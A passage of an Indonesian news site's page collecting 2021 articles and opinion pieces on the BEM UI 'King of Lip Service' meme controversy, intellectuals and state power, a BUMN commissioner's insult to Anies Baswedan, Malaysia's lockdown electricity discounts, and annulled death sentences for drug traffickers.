mendampingi berterima kasih atas masukan dari Pak Sarjono tersebut. (mth)

Pengkhianatan Kaum Intelektual

Oleh: Abdurrahman Syebubakar Ketua Dewan Pengurus IDe Jakarta, FNN - Jatuh bangungnya sebuah bangsa, bahkan peradaban manusia, tidak lepas dari peran dan tanggungjawab kaum intelektual, terutama dalam hubungannya dengan kekuasaan. Seperti terungkap dalam riset sejarah komparatif oleh Ahmet T. Kuru (2019), dari San Diego State University, bahwa “aliansi ulama dan intelektual dengan negara” menjadi faktor utama keterbelakangan dunia Islam sejak abad ke-12. Sebaliknya, menurut Kuru, Eropa Barat mencatat kemajuan pesat dalam berbagai bidang hingga sekarang, karena kaum intelektual di Benua Biru ini mampu menjaga jarak dari otoritas politik. Padahal, sebelum abad ke-12, ia tertinggal jauh dari dunia Islam yang identik dengan ulama, intelektual progresif dan filsuf besar. Sebut saja, Ibnu Sina, al-Biruni, al-Farabi, al-Kindi, Ibnu Khaytham, Miskawayh, al-Razi, al-Khawarizmi (Algoritmi, juga penemu aljabar dan angka nol), dan masih banyak yang lain. Sebagai negara dengan penduduk Muslim terbesar dunia, Indonesia kini menjadi contoh sempurna dari temuan riset Kuru. Alih-alih menjadi produsen pengetahuan dan katalis perubahan, kaum terdidik Indonesia jutsru berperan sebagai corong kekuasaan dan modal. Meminjam tesis Noam Chomsky (1967, 2016) tentang tanggung jawab intelektual, kaum terdidik ini berada di barisan intelektual konformis, atau intelektual tradisional versi Antonio Gramsci (1971). Intelektual antek penguasa yang mengabaikan, bahkan merasionalisasi, kejahatan negara. Kiprah mereka, jauh dari nubuah Julien Benda, dalam karya klasiknya “The Treason of the Intellectuals” atau Edward Said dalam “Representations of the Intellectual” (1996), bahwa kaum intelektual memiliki sifat altruistik yang senantiasa memburu kebenaran demi kemaslahatan bersama, dan menjadi pencipta bahasa dalam menyampaikan yang benar kepada penguasa, dengan berpegang teguh pada prinsip-prinsip kemanusiaan dan keadilan. Dosa terbesar seorang intelektual tidak dilihat dari kesalahannya, tetapi dari ketakutan dan kebohongannya dalam menyampaikan kebenaran. Jalan ketiga peran intelektual yang ditawarkan mendiang Cornelis Lay, dalam pidato pengukuhannya sebagai guru besar ilmu politik UGM (Februari 2019), dimana intelektual bisa keluar masuk kekuasaan berdasarkan penilaian matang dan menyeluruh, jauh panggang dari api. Tawaran ini memiliki pijakan teoritik yang lemah, jika tidak dikatakan rapuh, dan berjarak cukup jauh dari realitas. Faktanya, terlalu banyak kaum intelektual yang terjerat nikmat dan empuknya jabatan hadiah dari penguasa. Entah posisi di pemerintahan, perguruan tinggi, BUMN, atau jabatan penting di perusahan-perusahan swasta penyokong kekuasaan. Seketika atau lambat-laun para intelektual ini berputar haluan, dari pola pikir dan sikap kritis, menuju fatalisme dan sikap permisif (serba memaklumi). Bahkan, berdiri di barisan terdepan membela semua kebijakan negara, dan kemudian sepenuhnya menjadi antek kekuasaan. Bagi mereka, “the king can do no wrong, no matter what!” Pada saat yang sama, tidak sedikit kaum intelektual di lingkungan perguruan tinggi, lembaga think-tank/riset dan kelompok masyarakat sipil, yang belum mendapat jatah jabatan atau uang, berlomba lomba memuji penguasa dan membela agenda kekuasaannya. Tidak peduli apakah agenda kekuasaan masuk akal atau tidak, merugikan rakyat banyak atau sebaliknya. Sebagian bertindak sebagai pollster atau industrialis survei, merangkap buzzerrp, yang dibayar dari uang rakyat atau dimodali para taipan. Dengan kata lain, kaum intelektual ini bertindak sebagai antek penguasa, bahkan ketika mereka berada di luar status quo kekuasaan. Sementara itu, segelintir intelektual dalam pusaran kekuasaan, yang tidak mau mengorbankan idealisme politik dan tanggungjawab moralnya demi jabatan, seringkali harus tersingkir dengan sendirinya. Tidak saja disisihkan, terkadang mereka dipersekusi dan dikriminalisasi oleh “kaki tangan” kekuasaan. Nasib naas mereka tidak jauh dari apa yang dialami oleh sedikit kaum intelektual yang konsisten menjadi manusia merdeka, dan tetap bersuara kritis dari luar kekuasaan, terlepas dari siapapun yang berkuasa. Tipe intelektual ini memainkan peran “intelektual organik”nya Gramsci, atau “intelektual berbasis nilai” ala Chomsky, yang berfungsi sebagai perumus dan artikulator transformasi multidimensi atas panduan cahaya kebenaran dan keadilan. Dengan absennya “peran organik dan transformatif” kaum intelektual, tak pelak Indonesia didera berbagai masalah yang tak berkesudahan. Disertai stagnasi pembangunan manusia, demokrasi membusuk ditangan pemimpin plastik yang dikelilingi para pialang politik dan pemodal. Seturut dengan itu, terjadi kemerosotan di hampir semua bidang, mulai dari meluasnya korupsi, kemiskinan dan ketimpangan yang makin dalam, anjloknya tingkat kebahagian, hancurnya tatanan hukum, terkurasnya sumber daya alam dan kerusakan lingkungan, hingga mengentalnya mentalitas feodal dan ketegangan sosial. Lebih jauh, bangsa Indonesia tidak saja kehilangan jejak untuk kembali ke cita-cita reformasi, jalan yang dipilih atas pengorbanan mahasiswa dan segenap elemen bangsa yang menubuatkan demokratisasi, supremasi hukum, dan pemberantasan korupsi. Tetapi, kompas negara ini telah jauh melenceng dari tujuan bernegara untuk memajukan kesejahteraan umum, mencerdaskan kehidupan bangsa, dan mewujudkan keadilan sosial. Untuk itu, reformulasi hubungan antara intelektual dan negara menjadi kebutuhan mendesak. Hubungan patron-klien dari dua anasir maha penting ini harus digeser menuju pola hubungan yang kritis dalam bingkai demokrasi, yang menjamin independensi and integritas kaum intelektual. Sebagai benteng nalar dan moral bangsa, dunia perguruan tinggi mesti bebas dari jeratan pragmatisme politik, yang menjual murah gelar kehormatan akademik kepada para elit politik. Dalam jangka panjang, sistem dan kebijakan pendidikan mengedepankan materi berpikir kritis (critical thinking) dan pembangunan karakter (character building), bukan sekedar mencetak SDM sebagai faktor produksi – subordinat pertumbuhan ekonomi, terlebih menjadi hamba sahaya dari kepentingan relasi antara penguasa dan pengusaha. Terakhir, perlu digarisbawahi, jebakan subordinasi otoritas politik atas kaum intelektual hanya bisa dieliminir dan dihilangkan jika kaum intelektual sendiri bersama elemen-elemen progresif lainnya (seperti kelompok buruh dan masyarakat sipil), melakukan tekanan. Sebab, kendati raut mukanya beragam di sebarang tempat dan waktu, kekuasaan tidak pernah bisa menyembunyikan naluri dasarnya untuk mensubordinasi yang lain, ungkap Russel seperti dikutip Cornelis Lay. ___________________ Tulisan ini adaptasi dari penggalan tulisan saya Stagnasi Pembangunan Manusia Indonesia dan Pengkhianatan Kaum Intelektual, yang dimuat fnn.co.id pada 2 April 2021.

Masalahnya Bukan Meme “Raja Bual” Itu, Tapi Kebangkitan Mahasiswa

By Asyari Usman Medan, FNN - Gelar dan meme King of Lip Service (Raja Bual) itu bukan persoalan besar, sebetulnya. Meme itu biasa-biasa saja. Tidak terlalu menohok. Kalau itu dibuat oleh entah siapa, hampir pasti tidak akan viral seperti sekarang ini. Yang menjadi masalah adalah meme itu dibuat oleh mahasiswa. Dan mereka itu adalah mahasiswa Universitas Indonesia (UI). Dan mereka itu adalah Badan Eksekutif Mahasiswa (BEM) pula. Ini yang sangat mengkhawatirkan para penguasa. Terutama Rektor UI. Apa yang mereka khawatirkan? Yang dicemaskan adalah ‘what next’? Apalagi yang akan muncul dari kampus UI? Apakah meme KIS itu sifatnya “sepukul” (one off) saja atau akan menjadi bibit kebangkitan mahasiswa. Ini yang membuat Rektor cemas. Dan juga para penguasa. Sebab, bisa jadi meme sederhana itu akan berkembang menjadi gerakan spontanitas yang akan mengirimkan pesan ke kampus-kampus lainnya bahwa sekarang sudah tiba saatnya “turun gunung”. Selama ini mahasiswa bisa diterlenakan. Mereka “dibobokkan” oleh Nina. Sehingga, tidak ada yang berperan sebagai pelopor gerakan perlawanan rakyat. Pimpinan UI langsung memanggil personel BEM. Tentu tujuan utamanya adalah untuk memberikan peringatan keras kepada mereka tentang konsekuensi berat jika mahasiswa berpolitik. Lumrahlah karena semua rektor perguruan tinggi negeri (PTN) sekarang ini “dikuasai” oleh Presiden. Ade Armando, dosen UI yang juga fans berat Presiden Jokowi, sadar bahaya yang akan muncul kalau mahasiswa UI mulai membuat “bola salju”. Bisa menggelinding ke mana-mana tak terkendali. Armando berusaha menyurutkan semangat mahasiswa UI. Dia mengatakan meme yang mereka buat itu tidak menunjukkan intelektualitas kampus. Menurut Armando, meme itu tak berkelas. Sampai-sampai dia menyindir kepintaran mahasiswa yang meluncurkan meme King of Lip Service tersebut. Dalam cuitannya di Twitter, Armando menyindir ketua BEM UI, Leon Alvindra Putra, bisa masuk UI karena menyogok. Malam tadi, dalam debat via Zoom dengan kelompok mahasiswa, Armando menjelaskan “masuk karena menyogok” itu maksudnya adalah bahwa mahasiswa yang pintar tidak akan bikin meme seperti King of Lip Service itu. Tampaknya, BEM UI tidak akan surut. Mereka tetap akan menyampaikan “rasa mual” rakyat. Di meme “Raja Bual” pun ada disebutkan “rasa mual”. Sangat mungkin “rasa mual” ini akan menggumpal menjadi energi yang akan mendorong mahasiswa di seluruh Indonesia menuntut perubahan total dan “immediate” (segera). Inilah yang dikhawatirkan oleh Presiden Jokowi dan orang-orang yang memboncengi kekuasaannya.[] Penulis wartawan senior FNN.co.id

Buntut Meme Jokowi Raja Ngibul, Ade Armando Makin Kalap

Jakarta, FNN - Dosen Ilmu Komunikasi Universitas Indonesia (UI) Ade Armando memenuhi undangan debat terbuka terkait kritik Badan Eksekutif Mahasiswa (BEM) Universitas Indonesia ke Presiden Joko Widodo (Jokowi) dalam kapasitasnya akademisi pada Senin (28/6/2021) malam. Debat dilakukan bersama Delpedro Marhaen selaku perwakilan Blok Politik Pelajar (BPP) yang disiarkan melalui FNN Channel. Sama seperti sebelum debat, selama debat Ade Armando kerap mengeluarkan stigma negatif kepada BEM UI. Sebelumnya ia mencap BEM sebagai pandir dan menuduh ketua BEM UI masuk lewat jalur nyogok. Pernyataan itu ia sampaikan dalam bentuk tanya di Twitter. "Ini karya BEM UI. Saya sih menghargai kebebasan berekspresi. Tapi kalau jadi lembaga yg mewakili mahasiswa UI, ya jangan kelihatan terlalu pandirlah. Dulu masuk UI, nyogok ya?" tulisnya Ade. Selama debat Ade Armando juga mencap BEM UI sebagai anak manja, cemen dan suka mengeluh. Merespon hal tersebut, Delpedro dari Blok Politik Pelajar selaku lawan debat Ade menilai, ucapan itu lebih terkesan pada fitnah. Baginya, tuduhan masuk UI dengan cara nyogok adalah tuduhan serius. "Itu kan salah satu bentuk fitnah dan pencemaran nama baik yang serius itu instansi UI, Universitas Indonesia dituduh bisa menerima suap bisa menyogok itu kan tuduhan serius," katanya dalam debat tersebut. Berkenaan dengan itu, Delpedro menyatakan, seharusnya pihak UI memanggil Ade Armando, bukan memanggil perwakilan BEM UI. Diketahui, panggilan tersebut buntut kritikan BEM UI kepada Jokowi. "Makanya tadi saya bilang harusnya rektor UI itu salah panggil BEM UI panggil Leon dan kawan-kawan, yang harus dipanggil itu Ade Armando dia harus menjelaskan apa maksud dari tuduhan UI bisa disuap," sambungnya. Delpedro juga mengkritisi kebebasan akademik selama Pemerintahan Jokowi. Ia memandang selama ini kerap terjadi pembrangusan terhadap diskusi-diskusi yang dianggap bertentangan dengan kepentingan rezim. Ia mencontohkan pembubaran sebuah diskusi di sebuah kampus di Bandung, Jawa Barat saat tengah membahas isu Papua. "Dibubarkan oleh ormas dan kepolisian, sampai diteror. Dan itu gak terjadi saat itu doang, beberapa kasus banyak. Ini Mas Ade Armando mengatakan orang tidak pintar, sementara wawasannya lockdown gitu," tegasnya. Ade menyebut bahwa BEM UI manja lantaran hanya dimintai klarifikasi saja sudah mengeluh. "Itu sih manjalah BEM, masa BEM kaya gitu, cemen banget," cetusnya. Kalau mau ilmiah ya yuk sekalian deh ilmiah, bikin papar, duduk sama-sama terus kita debat," tegas Ade. Sementara itu, Delpedro menyatakan bahwa semestinya Ade yang membuat papar saat membantah tudingan dari BEM UI soal Jokowi: King of Lip Service. "Harusnya Ade Armando sebagai dosen melawan konten materinya BEM UI kemarin ya dilawan, kenapa gak pakai papar, kenapa gak pakai akademik? Malah dengan bikin Twit?" katanya. Ini karya BEM UI. Saya sih menghargai kebebasan berekspresi. Tapi kalau jadi lembaga yg mewakili mahasiswa UI, ya jangan kelihatan terlalu pandirlah. Dulu masuk UI, nyogok ya?" tulisnya Ade. Terpojok dan tidak mau mengakui kesalahan, Ade berkilah jika pernyataan itu lebih pada bahasa sarkastis. Menurut Ade, kritikan harus tepat dan harus mempunyai sejumlah bukti. "Hargai bahasa ya, itu sarkatis. Soal kritik, mereka mengatakan bahwa Pak Jokowi adalah raja munafik tukang bohong. Saya akan bilang, boleh tapi apa buktinya. Nah mereka kan menyajikan serangkaian bukti," jawab Ade. Lebih lanjut, menurut dia, apa yang disampaikan BEM UI dalam mengkritik Jokowi adalah sah dalam konteks demokrasi. Hanya saja, dia menilai cara kritik yang dilakukan oleh BEM UI tidak pintar. "Tapi pada saat yang sama, karena mereka menyerang Pak Jokowi dengan cara yang menurut saya tidak pintar maka sebagai seorang anggota Civitas UI, harus menyatakan bahwa nggak beres nih kalian cara berpikirnya," ungkap Ade. Sebelumnya, Ade Armando diundang melakukan debat terbuka sebagai akademisi. Tantangan ini diberikan oleh sebuah organisasi politik bernama Blok Politik Pelajar (BPP). Melalui akun Instagramnya, BPP mengundang Ade Armando untuk melakukan debat bertajuk "Demokrasi dan Kebebasan Sipil". Acara ini diadakan pada hari Senin (28/6/2021). Undangan ini merupakan bentuk solidaritas BPP kepada Badan Eksekutif Mahasiswa Universitas Indonesia (BEM UI). Diketahui, BEM UI telah dipanggil oleh rektor hingga mendapatkan kritik tajam dari dosen UI, Ade Armando. "Atas nama solidaritas, biar BEM UI yang hadapi rektor UI dan kami yang hadapi Ade Armando Cs. Skuy baku hantam. BPP juga menyatakan siap bergabung dengan organisasi buatan Ade, Civil Society Watch. Syaratnya, Ade harus beragumen dengan rasional sesuai tema yang sudah ditentukan itu. "Apabila argumentasi Ade rasional, BPP gabung ke Civil Society Watch," janji BPP. Delpedro juga mengkritisi kebebasan akademik selama Pemerintahan Jokowi. Ia memandang selama ini kerap terjadi pemberangusan terhadap diskusi-diskusi yang dianggap bertentangan dengan kepentingan rezim. Ia mencontohkan pembubaran sebuah diskusi di sebuah kampus di Bandung, Jawa Barat saat tengah membahas isu Papua. "Dibubarkan oleh ormas dan kepolisian, sampai diteror. Dan itu gak terjadi saat itu doang, beberapa kasus banyak. Ini Mas Ade Armando mengatakan orang tidak pintar, sementara wawasannya lockdown gitu," tegasnya. Ade menyebut bahwa BEM UI manja lantaran hanya dimintai klarifikasi saja sudah mengeluh. "Itu sih manjalah BEM, masa BEM kaya gitu, cemen banget," cetusnya. Kalau mau ilmiah ya yuk sekalian deh ilmiah, bikin papar, duduk sama-sama terus kita debat," tegas Ade. Sementara itu, Delpedro menyatakan bahwa semestinya Ade yang membuat papar saat membantah tudingan dari BEM UI soal Jokowi: King of Lip Service. "Harusnya Ade Armando sebagai dosen melawan konten materinya BEM UI kemarin ya dilawan, kenapa gak pakai papar, kenapa gak pakai akademik? Malah dengan bikin Twit?" katanya.

Anak Buah Erick Tohir Ancam Ludahi Anies Baswedan, Pembinaan Akhlak BUMN Gagal

Jakarta, FNN - Komisaris Independen BUMN Askrindo, Kemal Arsjad, menunjukkan akhlak yang buruk dengan menghina dan mengancam akan meludahi wajah Gubernur DKI Jakarta Anies Baswedan. Perilaku ini sangat bertentangan dengan slogan Kementerian BUMN yang mengutamakan AKHLAK. Kita ketahui AKHLAK adalah tema yang diusung Erick Thohir dalam memimpin kementerian yang mengelola ratusan BUMN. Selain bermakna budi pekerti, AKHLAK yang dimaksudkan Erick Thohir adalah singkatan dari Amanah, Kompeten, Harmonis, Loyal, Adaptif, dan Kolaboratif. “Semarah apapun saya, kok rasanya gak pantas ngucapin kata-kata kotor seperti itu. Yang jauh lebih tidak pantas lagi, manusia kotor begitu diangkat jadi pejabat penting usaha negara, ngurus uang publik yang mereka ambil dari rakyat atas nama bisnis asuransi,” tulis Andi Sinulingga dalam pesannya kepada Erick Thohir. “Jadi tak bergensi jabatan komisaris itu, manusia kotor begitu pun bisa mendapatkan, hanya karena Jokowers. Semoga bisa jadi pertimbangan,” demikian Andi Sinulingga. Aktivis dakwah Hilmi Firdausi melalui akun @Hilmi28 miliknya juga mengecam pernyataan-pernyataan Kemal Arsjad. “Assalamu'alaikum Pak @erickthohir, mohon dievaluasi semua jajaran komisaris BUMN yang nir-akhlaq. Jangan sampai keprihatinan masyarakat karena banyak BUMN yang terpuruk, ditambah kelakuan pejabatnya yang sangat tidak patut. Cukuplah bangsa ini krisis karena Covid, jangan juga ditambah krisis akhlak,” tulisnya. Adapun Kemal Arsjad telah menghapus penghinaan dan ancamannya untuk Anies Baswedan. Namun, screen capture dari apa yang sempat disampaikannya itu telah tersebar dan memenuhi pembicaraan di jejaring media sosial sepanjang hari ini. Kemal Arsjad pun telah meminta maaf karena mengeluarkan kata-kata yang tidak pantas di ruang publik. (WE,ant)

Lockdown Diperpanjang Pemerintah Malaysia Diskon Listrik 40 Persen

Malaysia, FNN - Pemerintah Malaysia memberikan diskon listrik lima hingga 40 persen mengikuti kadar listrik dengan batas maksimum 900 kilowatt jam sebulan bagi masyarakat untuk meringankan dampak penguncian penuh selama pandemik COVID-19. Perdana Menteri Malaysia Muhyiddin Yasin mengemukakan langkah itu saat menyampaikan pidato Paket Perlindungan Rakyat dan Pemulihan Ekonomi di Putrajaya, Senin. "Diskon sebanyak 40 persen akan diberikan pada penggunaan listrik di bawah 200 kilowatt jam sebulan dan 15 persen bagi penggunaan antara 201 hingga 300 kilowatt jam sebulan," katanya. Secara keseluruhan, ujar dia, rakyat akan mendapat diskon berjumlah 346 juta ringgit (sekitar Rp1,2 triliun) dan diskon akan berlaku dalam waktu tiga bulan mulai tagihan Juli 2021. Bagi sektor-sektor ekonomi yang terdampak, khususnya hotel, pusat konvensi, mal, perusahaan pariwisata setempat, dan agen pariwisata, diskon listrik akan dilanjutkan tiga bulan lagi sebanyak 10 persen untuk tagihan Oktober hingga Desember 2021. "Dengan pemberian diskon listrik kepada pengguna domestik dan bukan domestik ini pemerintah akan menanggung biaya tambahan sebanyak satu miliar ringgit," katanya. Selain itu, perusahaan telekomunikasi pemerintah juga setuju untuk melanjutkan pemberian satu gigabit data harian secara gratis hingga 31 Desember 2021. "Kemudahan ini yang dianggarkan senilai 500 juta ringgit bakal memanfaatkan 44 juta pelanggan terdaftar di seluruh negara," katanya. Pemerintah Malaysia melanjutkan fase pertama penguncian total Perintah Kawalan Pergerakan (PKP) dalam Rencana Pemulihan Negara (PPN) hingga tiga indikator nilai ambang utama dicapai. "Ketiga indikator tersebut ialah rata-rata kasus harian COVID-19 menurun di bawah 4,000 kasus, kadar penggunaan katil di ICU sesuai kapasitas, serta kadar vaksinasi bagi populasi yang telah menerima dua dos lengkap mencapai 10 persen," kata Menteri Pertahanan Ismail Sabri Yakoob di Kuala Lumpur, Minggu (27/6). Peralihan dari fase satu ke fase dua akan mempertimbangkan ketiga indikator tersebut sebelum diputuskan. "Secara keseluruhan, PPN adalah strategi peralihan keluar dari kemelut pandemik COVID-19, yang meliputi empat fase melibatkan rencana peralihan fase Perintah Kawalan Pergerakan (PKP) secara bertingkat," katanya. Berdasarkan penilaian risiko yang telah dilaksanakan oleh Kementerian Kesehatan Malaysia (KKM), pemerintah akan melanjutkan lagi tempo fase satu di seluruh negara atau provinsi seperti yang telah diumumkan oleh perdana menteri. "Situasi saat ini belum berhasil untuk beralih dari fase satu ke fase dua karena jumlah kasus positif baru harian menunjukkan tren mendatar," katanya. Ismail mengatakan sebelumnya waktu operasi kedai makan dan restoran hanya dibenarkan mulai jam 08.00 pagi hingga 20.00 malam. "Setelah mempertimbangkan permintaan dan pandangan pengusaha kedai makan, sidang kabinet setuju untuk menukar waktu operasi premis yang menjual makanan mulai jam 06.00 pagi hingga 22.00 malam mulai 28 Juni 2021," katanya. (sws)

Vonis Mati Belasan Bandar Narkoba Dibatalkan Hakim

Jakarta, FNN - Hakim kembali berulah dengan membatalkan vonis mati bandar narkoba. Kepala Satuan Reserse Narkoba Polres Metro Jakarta Selatan Ajun Komisaris Besar Polisi Wadi Sa'bani menyesalkan hakim membatalkan vonis mati terhadap para terpidana kasus narkoba di Banten dan Bandung. "Pembatalan tuntutan hukuman mati terhadap bandar besar narkoba ini melukai rasa keadilan masyarakat," kata Wadi Sa'bani di Jakarta, Senin. Apalagi, saat momentum peringatan Hari Anti Narkoba Internasional (HANI) 2021, lanjut dia, bertentangan dengan semangat memberantas barang haram itu. Sebelumnya, penyelundupan sabu-sabu seberat 402 kg ke Indonesia melalui Sukabumi, Jawa Barat digagalkan Satgas Merah Putih pada 3 Juni 2020. Narkotika golongan I itu diselundupkan jaringan internasional dengan dikemas mirip bola. Sebanyak 14 warga Iran, Pakistan dan Indonesia dibekuk. Pengadilan Negeri Cibadak kemudian memvonis 13 dari 14 terdakwa dengan hukuman mati. Namun, Pengadilan Tinggi (PT) Bandung meloloskan enam dari 13 terpidana kasus sabu 402 kg dari hukuman mati menjadi kisaran hukuman 15-18 tahun penjara. Tak hanya di Bandung, Pengadilan Tinggi (PT) Banten juga menganulir hukuman mati dua terpidana Bashir Ahmed dan Adel menjadi 20 tahun penjara. Keduanya terjerat kepemilikan sabu-sabu seberat 821 kilogram yang dikirim dari Iran melalui perairan Tanjung Lesung, Banten Selatan. Bashir Ahmed bin Muhammad Umear adalah WNA asal Pakistan dan Adel bin Saeed Yaslam Awadh WNA asal Yaman. (sws)

Demokrasi Terpimpin Gaya Baru

PEMANGGILAN pengurus Badan Eksekutif Mahasiswa Universitas Indonesia (BEM UI) oleh Rektor UI Ari Kuncoro, Minggu kemarin menimbulkan kegaduhan. Penyebabnya, sang mahasiswa memosting poster di media sosial berjudul Jokowi The King of Lip Service disertai foto Presiden Jokowi mengenakan jas dan bermahkota raja. Ari Kuncoro sontak meminta klarifikasi atas pemuatan poster tersebut. Ia memanggil pengurus BEM UI. Ketua BEM UI Leon Alvinda Putra membenarkan bahwa pemberian gelar kepada Presiden Jokowi sebagai 'the king of lip service' merupakan bentuk kritikan kepada pemerintah. BEM UI menilai banyak pernyataan Presiden Jokowi yang tidak sesuai dengan realita atau pelaksanaannya, seperti soal revisi UU ITE, omnibus law, ketidakadilan hukum, hingga kontroversi Tes Wawasan Kebangsaan (TWK) pegawai KPK. Inti dari pemanggilan itu, BEM UI menolak tunduk untuk menghapus poster. Tak lama berselang warganet heboh. Ada yang pro, banyak yang kontra. Yang pro pemanggilan menganggap BEM UI terlalu lebay, bahkan ada yang menuduh BEM UI melecehkan simbol negara. Ade Armando, dosen FISIP UI malah menuduh dan menyerang pribadi Ketua BEM UI masuk lewat jalur nyogok. Tuduhan yang tidak elok, juga tidak berdasar. Ia melecehkan sendiri kampus tempat ia menumpang berkarier dan mengais rezeki. Yang kontra pemanggilan, menganggap kampus tidak bebas lagi berekspresi dalam mengemukakan pendapat. Kampus dikebiri dan telah dikendalikan rezim. Cara-cara Orde Baru mengerdilkan kampus telah diadopsi sedemikian rapi. Ada dua kemungkinan mengapa rektor kepanasan menyikapi meme. Pertama, rektor ditekan rezim. Kedua, rektor punya inisiatif sendiri memanggil mahasiswa. Maklum, sang rektor saat ini juga menjabat sebagai komisaris bank BUMN. Ia harus reaktif terhadap pemberi jabatan. Situasi ini jelas menunjukkan bahwa kampus berada dalam kendali rezim. BEM UI tidak sendirian. Solidaritas BEM seluruh Indonesia bergerak. Mereka memberi dukungan dan mengutuk cara-cara rezim mengerdilkan kampus. Aliansi 44 organisasi mahasiswa menyatakan bahwa pemanggilan oleh birokrat UI mengindikasikan bahwa aktor pemberangusan kebebasan berpendapat tidak hanya datang dari negara, tapi juga datang dari kampus. Sehingga sudah semakin nyata bahwa kebebasan sipil semakin kerdil dan menyerang suara-suara yang menyatakan kebenaran kepada publik. Ketua BEM Universitas Syiah Kuala (USK) Banda Aceh, Fikrah Aulia, menyatakan bakal terjadi gelombang yang lebih besar jika kampus dikekang. Pembungkaman terhadap kampus, rektor, dan mahasiswa sesungguhnya menunjukkan praktek demokrasi terpimpin yang nyata. Apalagi fungsi legislatif yang disetel untuk selalu mengamini kebijakan eksekutif, semakin menunjukkan negara ini disetting dengan cara otoriter. Bangsa ini pernah memilih praktik demokrasi terpimpin, dimana presiden berperan sebagai penguasa paling tinggi. Sistem pemerintahan ini mulai diberlakukan pada 5 Juli 1959 dan berkahir 1965, di bawah pemerintahan Presiden Soekarno kala itu. Dengan berlakukan sistem demokrasi terpimpin, Presiden Soekarno pada masa itu bisa mengubah berbagai peran wakil rakyat yang dianggap tidak sejalan dengan kehendaknya, khususnya di bidang politik. Fungsi partai politik sangat terbatas. Keberadaannya hanya sebatas pelengkap. Mereka wajib mendukung berbagai peraturan Presiden Soekarno secara total. Keterkaitan antara Presiden Soekarno dengan Partai Komunis Indonesia (PKI) ketika itu, semakin akrab sehingga paham komunisme berkembang pesat pada masa itu. Pers yang mempunyai peran sebagai penyambung suara rakyat dibatasi oleh pemerintah. Pengekangan terhadap pers tersebut mengakibatkan sebagian besar media menutup diri dan tidak berani menyiarkan berita lantaran adanya ancaman dicekal. Banyak media dibredel. Kebebasan pers yang terkekang, sentralisasi pemerintah pusat, dan peran militer yang sangat besar berdampak pada meningkatnya tindakan yang semena-mena terhadap rakyat. Pelanggaran HAM menjadi hal yang biasa. Sistem demokrasi terpimpin menimbulkan ketidakadilan, salah satunya ialah pemerintahan yang dikontrol sepenuhnya oleh rezim. Peran partai politik semakin tidak jelas dalam pemerintahan sehingga menimbulkan ketidakpastian. Demokrasi terpimpin telah melahirkan dampak yang nyata. Presiden memiliki kekuasaan yang sangat besar sehingga timbul potensi penyalahgunaan. Sistem pemerintahan ini juga memberikan dampak yang sangat besar bagi situasi politik di Indonesia kala itu. Adanya kepemimpinan kaum borjouis dan PKI membuat banyak rakyat melakukan penolakan. Ditambah lagi maraknya korupsi di kalangan birokrat dan militer mengakibatkan pemasukan Indonesia dari ekspor mengalami penurunan drastis. Tidak hanya itu, inflasi yang cukup parah juga terjadi sebagai akibat tidak stabilnya kondisi perekonomian di Indonesia pada masa itu. Kondisi ini memaksa Soekarno harus lengser. Apakah hari ini Indonesia menjalankan demokrasi terpimpin? Teorinya tidak, tetapi faktanya bisa dirasakan sendiri. Publik pasti belum lupa penurunan baliho oleh TNI, pemblokiran media online dan media sosial, pemberlakuan aturan hate speech, pelanggaran HAM berat di km 50 tol Cikampek, bertamunya Partai Komunis Cina ke istana negara, serta mandulnya wakil rakyat di DPR. Publik juga merasakan sendiri utang pemerintah yang menggunung, pendapatan pajak yang anjlok, pertumbuhan ekonomi yang terseok, pengangguran merajalela, dan korupsi yang tumbuh subur. Publik juga pasti hafal siapa saja yang korupsi, siapa yang berkhianat pada rakyat, dan siapa yang bergelimang kemewahan di tengah kesengsaraan. Satu lagi publik pasti paham strategi Kabinet Jokowi yang hanya ada satu visi, tidak ada visi menteri, visi gubernur, dan visi bupati/walikota. Semua visi presiden. Buntut dari semua itu, Jokowi lalu dikultuskan. Ia tidak pernah salah. Pemerintah telah berkali-kali mengeluarkan Perppu sebagai syarat mengatasi kegentingan negara. Tapi rupanya Perppu salah sasaran karena negara tidak genting oleh HTI, FPI dan demo 212, apalagi bohong soal tes swab. Negara genting karena pemerintah tidak amanah dan antikritik. Kebijakannya selalu menimbulkan kegaduhan. Jokowi harus belajar dari Bung Karno yang legowo menyerahkan kepemimpinan nasional lewat Supersemar (Surat Perintah Sebelas Maret). Dengan surat sakti ini Soeharto mampu mengatasi keadaan, membubarkan Orde Lama, mencabut status presiden seumur hidup, mengganti demokrasi terpimpin dengan demokrasi Pancasila. Soeharto mampu membawa kebangkitan bangsa hingga berkuasa 32 tahun. Kelak, ketika rakyat sudah tidak menghendaki Soeharto menjadi presiden, ia pun turun tahta, lengser keprabon. Soeharto menyatakan berhenti dan menyerahkan kepemimpinan nasional kepada wakilnya, BJ Habibie, pada 21 Mei 1998. Kita tunggu, apakah Presiden Joko Widodo memiliki kearifan dan jiwa kenegarawanan seperti dua bapak bangsa tersebut?

Ketua DPD RI Soroti Terpidana 402 Kg Sabu Lolos Hukuman Mati

Jakarta, FNN - Ketua DPD RI AA La Nyalla Mahmud menyoroti lolos-nya enam terpidana kasus narkoba jenis sabu-sabu seberat 402 kilogram dari hukuman mati. AA La Nyalla Mahmud Mattalitti dalam keterangannya di Jakarta, Senin, mempertanyakan Pengadilan Tinggi Bandung yang meloloskan para terpidana tersebut, mengingat Indonesia darurat narkoba dan bahayanya sudah merusak berbagai sendi kehidupan. Enam orang terpidana kasus narkoba jenis sabu-sabu seberat 402 kilogram itu diungkap oleh Satgas Merah Putih pada Rabu 3 Juni 2020. Barang haram dari kasus tersebut diselundupkan jaringan internasional dengan dikemas mirip bola. Pihak berwajib membekuk sebanyak 14 warga Iran, Pakistan dan Indonesia. Sebelumnya, para pelaku mendapat vonis hukuman mati di Pengadilan Negeri Cibadak pada 6 April 2021, namun mendapat keringanan hukuman jadi belasan tahun penjara setelah pengajuan banding yang dilakukan oleh kuasa hukum pelaku diterima majelis hakim Pengadilan Tinggi (PT) Bandung. Meski kecewa dengan putusan hakim, LaNyalla mengaku menghormati proses hukum yang berjalan. Menurutnya, independensi hakim harus dihormati, namun dia berharap agar dilakukan upaya hukum selanjutnya. "Masih ada langkah Jaksa untuk melakukan kasasi. Saya kira hal itu perlu diambil. Ini demi keadilan dan melindungi generasi yang lebih besar lagi," ucap La Nyalla. La Nyalla mengatakan, para pelaku kejahatan narkoba seharusnya diberikan hukuman yang berat. Hal ini perlu dilakukan karena sudah menjadi tugas negara untuk melindungi masyarakat dan menyelamatkan anak-anak bangsa dari bahaya penyalahgunaan narkotika dan obat-obatan terlarang. "Kita sekuat tenaga berjibaku menangkap pengedar narkoba, diperlukan tenaga yang ekstra 